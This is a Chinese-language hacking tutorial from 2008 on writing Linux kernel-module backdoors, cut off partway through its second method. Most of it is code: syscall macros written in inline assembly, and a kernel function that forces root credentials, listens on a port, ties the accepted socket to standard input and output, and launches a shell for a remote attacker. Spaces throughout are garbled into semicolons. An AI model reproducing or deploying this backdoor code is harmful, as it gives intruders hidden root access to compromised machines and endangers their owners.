class="152889">
Author:;wzt
EMail:;
[email protected] Site:;http://www.xsec.org;&;hhtp://hi.baidu.com/wzt85
Date:;2008-8-29
一.;內核後門簡介
二.;內核中系統調用
三.;使用kernel;mode;socket函數
四.;如何擴展後門
五.;參考資料
六.;相關源代碼
一.;內核後門簡介
所謂內核後門,;當然指的是在內核空間中給hacker提供的可遠程控制的shell模塊喽,;性質跟ring3下的後門一樣,只是所有功能都在內核空間實現了而已。其實它跟rootkit的定義基本已經混淆了。有的內核後門不能提供隱藏行為的功;能,有的rookit沒有提供遠程shell的功能。只有兩者互補才能組合成一個功能強的’root-kit’.
本文只介紹2種實現內核後門的基本方法,如果您有更好的方法,還請多多指教。
二.;內核中系統調用
Unix世界中一切皆文件的思想將socket通信變的簡單的多,;通常我們直接可以用read,write等api函數作為socket通信的方法,這些api函數最終都會調用kernel提供的sys_XXX系列函;數。平時用到的read等函數早以在c庫中封裝好了。其實我們可以自己直接向系統發送軟中斷int;0x80來執行sys_read函數,如:
int;my_read(int;fd,;char;*;buf,;off_t;count)
{
long;__res;
__asm__;volatile;("push;%%ebx;;int;$0x80;;pop;%%ebx"
:;"=a";(__res)
:;"0";(__NR_read),;"ri";((long)(fd),;;;;;"c"((long)(buf),
"d";((long)(count));:"memory");
return;(int)(__res);
}
這裡用到了at&t的內嵌匯編程序來實現,;其實就是向eax寄存器中存入具體的系統調用號,ebx,ecx,edx依次存入read函數的參數。最後執行一個int;$0x80陷入內核去執行sys_read.要想在內核空間中實現後門的功能,;就必須調用某些函數來進行socket通信。;本節介紹直接在內核中使用系統調用的方式來和遠程用戶進行通訊,下一節則介紹直接使用內核socket函數進行通訊。
通過上面的例子,我們明白了如何在用戶空間下來使用系統調用。那麼上述方法也可以用在內核空間中,這樣在內核空間執行系統調用感覺效率會很低,但是對我們來說,編寫程序將會非常的方便。著名的sk;rookti就是用這種方式來進行通訊的。
linux內核提供了很多個不同的系統調用,我們需要編寫幾個宏來方便的使用這些系統調用。比如下面這幾個宏:
#define;my__syscall_return(type,;res);/
do;{;/
if;((unsigned;long)(res);>=;(unsigned;long)(-(128;+;1)));{;/
errno;=;-(res);;/
res;=;-1;;/
};/
return;(type);(res);;/
};while;(0)
#define;my_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3);/
type;name(type1;arg1,type2;arg2,type3;arg3);/
{;/
long;__res;;/
__asm__;volatile;("push;%%ebx;;;int;$0x80;;;pop;%%ebx";/
:;"=a";(__res);/
:;"0";(__NR_##name),"ri";((long)(arg1)),"c";((long)(arg2)),;/
"d";((long)(arg3));:;"memory");;/
my__syscall_return(type,__res);;/
}
my_syscall3代表這個系統調用有3個參數,以read系統調用為例,我們可以在內核空間中這樣使用它:
static;inline;my_syscall3(int,;read,;int,;fd,;char;*,;buf,;off_t,;count);
編譯的時候就會被展開成:
int;read(int;fd,;char;*;buf,;off_t;count);;;;/
{;;;;/
long;__res;;;;;;;/
__asm__;volatile;("push;%%ebx;;int;$0x80;;pop;%%ebx"/
:;"=a";(__res);/
:;"0";(__NR_read),;"ri";((long)(fd),;"c"((long)(buf),;/
"d";((long)(count));:"memory");;/
return;(int)(__res);/
}
本文後面將會給出比較全面的宏,通過這些宏,可以在內核中隨意的使用系統調用。
好了,現在可以使用read,;write,;select等系統調用在內核空間收發信息了。;但是怎麼在內核中使用平時在用戶空間下用到的那些socket函數呢?其實這些socket函數都是通過執行sys_socketall系統調用來實現的:
linux-2.6.18/net/socket.c
asmlinkage;long;sys_socketcall(int;call,;unsigned;long;__user;*args)
{
unsigned;long;a[6];
unsigned;long;a0,a1;
int;err;
...
a0=a[0];
a1=a[1];
switch(call)
{
case;SYS_SOCKET:
err;=;sys_socket(a0,a1,a[2]);
break;
case;SYS_BIND:
err;=;sys_bind(a0,(struct;sockaddr;__user;*)a1,;a[2]);
break;
case;SYS_CONNECT:
err;=;sys_connect(a0,;(struct;sockaddr;__user;*)a1,;a[2]);
break;
case;SYS_LISTEN:
err;=;sys_listen(a0,a1);
break;
case;SYS_SOCKETPAIR:
err;=;sys_socketpair(a0,a1,;a[2],;(int;__user;*)a[3]);
break;
case;SYS_SEND:
err;=;sys_send(a0,;(void;__user;*)a1,;a[2],;a[3]);
break;
...
}
通過向sys_socketcall函數2個參數來執行具體的函數調用,參數call一般為SYS_SOCKET,;SYS_BIND等,args是一個數組,通過向這個數組的每個元素賦值,來調用不同的函數。以bind這個函數為例,可以這樣調用:
struct;sockaddr_in;cli_addr;
unsigned;long;args[];
args[0];=;sock_fd;
args[1];=;(unsigned;long)cli_addr;
args[2];=;(unsigned;long)sizeof(struct;sockaddr_in);
sys_socketcall(SYS_BIND,;args);
其他函數類似。這樣就可以在內核中來使用這些socket函數了。
下面給出一個具體的監聽某一個端口的例子:
int;k_listen(int;port)
{
struct;task_struct;*tsk;=;current;
struct;sockaddr_in;serv_addr;
struct;sockaddr_in;cli_addr;
mm_segment_t;old_fs;
char;buff[100];
unsigned;long;arg[3];
int;sock_fd,;sock_id;
int;tmp_kid;
int;i,;n,;cli_len;
old_fs;=;get_fs();
tsk->uid;=;0;
tsk->euid;=;0;
tsk->gid;=;SGID;
tsk->egid;=;0;
/*;create;socket;*/
arg[0];=;AF_INET;
arg[1];=;SOCK_STREAM;
arg[2];=;0;
set_fs(KERNEL_DS);
ssetmask(~0);
for;(i=0;;i;<;4096;;i++)
close(i);
if;((sock_fd;=;socketcall(SYS_SOCKET,;arg));==;-1);{
set_fs(old_fs);
return;0;
}
printk("create;socket;ok./n");
/*;bind;address;*/
memset((void;*);&serv_addr,;0,;sizeof(serv_addr));
serv_addr.sin_family;=;AF_INET;
serv_addr.sin_port;=;htons(port);
serv_addr.sin_addr.s_addr;=;0;
arg[0];=;sock_fd;
arg[1];=;(unsigned;long);&serv_addr;
arg[2];=;(unsigned;long);sizeof(serv_addr);
if;((socketcall(SYS_BIND,;arg));==;-1);{
close(sock_fd);
set_fs(old_fs);
return;0;
}
printk("bind;address;ok./n");
/*;begin;listen;*/
arg[0];=;sock_fd;
arg[1];=;(unsigned;long);255;
if;((socketcall(SYS_LISTEN,;arg));==;-1);{
close(sock_fd);
set_fs(old_fs);
return;0;
}
printk("listen;on;port;%d/n",;port);
cli_len;=;sizeof(cli_addr);
arg[0];=;sock_fd;
arg[1];=;(unsigned;long);&cli_addr;
arg[2];=;(unsigned;long);&cli_len;
if;((sock_id;=;socketcall(SYS_ACCEPT,;arg));==;-1);{
printk("accept;error./n");
close(sock_fd);
set_fs(old_fs);
return;0;
}
printk("accept;a;client./n");
dup2(sock_id,;0);
dup2(sock_id,;1);
dup2(sock_id,;2);
execve(earg[0],;(const;char;**);earg,;(const;char;**);env);
close(sock_id);
close(sock_fd);
set_fs(old_fs);
return;1;
}
三.使用kernel;mode;socket函數
前面考慮到在內核空間使用系統調用會使系統效率有所降低。解決的方法是直接在內核中使用內核socket函數來進行通訊。我們去看看kernel;mode;socket是怎麼在內核中實現的,同樣在linux-2.6.18/net/socket.c中:
在user;mode;socket中的socket函數的功能是建立個套接字,它是調用sys_socket函數來實現的,因此我們在自己的模塊中直接使用它的函數來完成相同的功能.先看下它是怎麼實現的:
asmlinkage;long;sys_socket(int;family,;int;type,;int;protocol)
{
int;retval;
struct;socket;*sock;
retval;=;sock_create(family,;type,;protocol,;&sock);
if;(retval;<;0)
goto;out;
retval;=;sock_map_fd(sock);
if;(retval;<;0)
goto;out_release;
out:
return;retval;
out_release:
sock_release(sock);
return;retval;
}
關鍵就2個函數,sock_create()來初始化一個struct;socket結構體,在用sock_map_fd()來給剛才的socket結構分配一個空閒的文件描述符。;有興趣的讀者可以繼續深入這些函數,看看它的具體實現細節。在這裡我們只關心最上層的這2個函數。因為我們要在自己的模塊中調用它們。同樣對於;sys_bind,;sys_listen等,我們用同樣的辦法來處理。有了源代碼,看它們怎麼實現,我們就怎麼實現。
下面給出一個監聽某端口的例子:
int;k_listen(void)
{
struct;socket;*sock,*